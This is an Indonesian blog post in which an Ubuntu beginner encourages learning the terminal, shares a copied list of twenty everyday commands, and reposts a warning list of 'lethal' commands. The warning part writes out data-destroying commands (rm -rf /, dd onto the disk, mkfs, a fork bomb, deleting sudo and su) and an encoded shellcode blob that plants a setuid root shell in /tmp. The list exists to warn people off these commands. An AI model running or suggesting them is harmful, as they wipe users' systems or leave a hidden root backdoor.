Ubuntu 9.10 Terminal

Sebagai pengguna ubuntu linux yang baru seumur jagung, dan sebagai ex-windows-xp-user, saya masih mengharapkan kemudahan yang sama dalam berinteraksi dengan komputer. Seperti misalnya saat ingin menginstall aplikasi, tinggal klik-klik dan klik kemudian selesai.

Namun di ubuntu, ketika saya bertanya ke internet, “bagaimana caranya begini dan begitu” banyak sekali jawaban yang memeberikan saran dengan perintah di terminal, jujur waktu itu saya pikir ini adalah sebuah kekurangan.Tapi sekarang saya merasakan sendiri, bahwa penggunaan terminal itu sangat praktis, kadang untuk sebuah saran dari internet, kita tinggal copy & paste perintah ke terminal, dan langsung jalan.πŸ˜€ (walau saya sampai sekarang pun masih bingung kenapa ada “apt-get” dan “aptitude”

Untuk itu, saya sarankan pada teman-teman pemula yang masih memiliki pengetahuan NOL tentang linux ubuntu, saya sarankan untuk mulai belajar terminal agar dapat mengikuti saran-saran yang diberikan para pengguna linux ubuntu lainnya di dari dunia maya.

Untuk mengakses terminal, dapat diperoleh dari menu Applications>Accessories>Terminal

Banyak website yang memberikan kita kemudahan dalam mempelajari perintah-perintah di terminal, sempatkanlah beberapa saat setiap hari untuk mengintip website-website tersebut. Diantaranya tentunya dari website ubuntu sendiri:

https://help.ubuntu.com/community/UsingTheTerminal

Selamat belajar.

Bonus, saya lupa copy ini dari mana, tapi ini salah satu contoh yang katanya sangat berguna bagi pengguna ubuntu:

————————————————————-

1) To find out the processes running that use the most memory. When things are running slower than I want, and am looking for which processes I can kill:

ps aux | sort -nrk 4 | head

2) To see the version of the installed package, when I’m considering an application upgrade:

apt-cache policy xxxxxx (where xxxxxx is the name of the package).

3) To mount an ISO image, so that I don’t have to burn it if I don’t want the ISO after review:

mount /xxx/image-file.iso /mnt/cdrom -o loop (where xxx is the path).

4) Find out where that newly installed package went. This happens to me a lot… I just installed it, where did it go?

whereis xxxxxx (where xxxxxx is the package name).

5) Ever reinstalled an app to find the old configuration still working? This will purge the config files of Ubuntu packages:

sudo aptitude purge `dpkg –get-selections | grep deinstall | awk ‘{print $1}’`

6) Go back and look at the commands I ran, when I’m to lazy:

history

7) Remove a .deb package (obviously not installed via aptitude), this way I was not afraid to download and use .deb files if the package was not available within Ubuntu or launchpad repositories:

sudo dpkg -r xxxxxx (where xxxxxx is the name of the package).

8) Create an image (.iso) of a CD or DVD – For me this is the easiest:

mkisofs -r -o xxxxxx.iso /cdrom/ (where xxxxxx is the name for the file).

9) Make a backup of a file before editing (such as sources.list). I learned the hard way, ALWAYS backup a file (that’s a .bak file for me) before making changes to it:

sudo cp /xxxxxx/sources.list /xxxxxx/sources.list.bak

10) Add (append) entry to sources.list – For me it’s a simple easy way to do this than clicking my way through the GUI:

sudo echo “xxxxxx” >> /etc/apt/sources.list (where xxxxxx is the address you want to add).

11) Erase a re-writable CD (CDRW), for me at least, musch faster than using a GUI:

cdrecord -v dev=/dev/cdrom blank=fast

12) Reboot a system or server, when I’m installing or making changes via SSH, that require a reboot:

sudo shutdown -r now

13) Get a fast text list (called “installed-packages”) of what’s installed on my system:

dpkg –get-selections > installed-packages

14) Simple way to kill a process, I’m too often lazy to find the process ID:

killall xxxxxx (where xxxxxx is the name of the process)

15) Quickly remove downloaded package manager updates, when no longer needed:

sudo aptitude autoclean

16) Easily add a downloaded key to the repository sources (for aptitude/apt-get):

sudo apt-key add xxxxxx.gpg (where xxxxxx is the name of the key file).

17) Force CD to eject the disk:

sudo umount /media/cdrom0/ -l

18) Security… leave the terminal open, but remove sudo passwords so there are no “issues”:

sudo -k

19) Sometimes I need to change a bit of text in several files. Instead of opening each one to edit, I do this instead:

grep -lr -e ‘xxxxxx’ * | xargs sed -i ‘s/xxxxxx/yyyyyy/g’

Note: xxxxxx is the word you want to change (replace) and yyyyyy is the new word you want used.

20) Fast way to convert .ps (postscript – print to file format) to PDF:

ps2pdf xxxxxx.ps xxxxxx.pdf (where xxxxxx is the name of the file).

Don’t have the command ps2pdf? sudo aptitude install ghostscript or apt:ghostscript

———————————————————–

Note: I’m sorry by copy it without mentioning the origin link, because i’ve completely forgotten. Anybody thinks it’s yours, claim it please.

Dan ini ada beberapa perintah/command yang HARAM dilakukan, kecuali memang itu tujuannya:

Diambil dari: http://www.linuxscrew.com/2009/12/03/13-linux-lethal-commands/

NEVER RUN THESE COMMANDS IN LINUX BOX CLI!

Even if somebody advises you in forum/im to do it.

1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:

  • sudo rm -rf /
  • rm -rf .*
  • dd if=/dev/zero of=/dev/sda
  • mkfs.ext3 /dev/hda
  • whatever > /dev/hda
  • cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
  • find -type f -mtime +30 -exec mv {} /dev/null \;
  • mv ~ /dev/null
  • mv / /dev/null

2. Causes kernel panic or freezes Linux box:

  • dd if=/dev/random of=/dev/port
  • :(){:|:&};: #also known as fork bomb

3. This one does the same as β€œrm -rf /”:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= β€œ\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68β€³
β€œ\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99β€³
β€œ\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7β€³
β€œ\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56β€³
β€œ\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31β€³
β€œ\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69β€³
β€œ\x6e\x2f\x73\x68\x00\x2d\x63\x00β€³
β€œcp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s